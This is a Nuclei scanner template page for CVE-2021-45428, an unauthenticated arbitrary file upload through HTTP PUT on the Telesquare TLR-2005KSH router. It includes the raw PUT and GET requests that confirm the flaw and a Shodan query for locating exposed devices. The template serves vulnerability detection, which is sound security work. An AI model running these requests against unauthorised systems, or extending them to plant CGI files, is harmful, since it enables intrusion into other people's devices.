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Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload

ID: CVE-2021-45428

Severity: critical

Author: gy741

Tags: cve2021,cve,telesquare,intrusive,fileupload,packetstorm

TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.

id: CVE-2021-45428
info:
name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload
author: gy741
severity: critical
description: |
TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.
impact: |
Successful exploitation of this vulnerability could result in unauthorized accessand data leakage.
remediation: |
Apply the latest security patch or update to a version that addresses the arbitrary file upload vulnerability.
reference:
- https://drive.google.com/file/d/1wM1SPOfB9mH2SES7cAmlysuI9fOpFB3F/view?usp=sharing
- http://packetstormsecurity.com/files/167101/TLR-2005KSH-Arbitrary-File-Upload.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-45428
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-45428
cwe-id: CWE-639
epss-score: 0.07905
epss-percentile: 0.94241
cpe: cpe:2.3:h:telesquare:tlr-2005ksh:-:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: telesquare
product: tlr-2005ksh
shodan-query: http.html:"TLR-2005KSH"
tags: cve2021,cve,telesquare,intrusive,fileupload,packetstorm
http:
- raw:
- |
GET /{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}
- |
PUT /{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}
CVE-2021-45428
- |
GET /{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code_1 == 404 && status_code_2 == 201'
- 'contains(body_3, "CVE-2021-45428") && status_code_3 == 200'
condition: and
# digest: 4a0a00473045022100aff12237556d6d25b88cbcb2e5326018817dd207db1d02f297c3ac87f438815e022042e1e1e24df724dba5b9e1ddc916cba9215277ac3afc17d5e529e21be85269d0:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-45428.yaml"

View on Github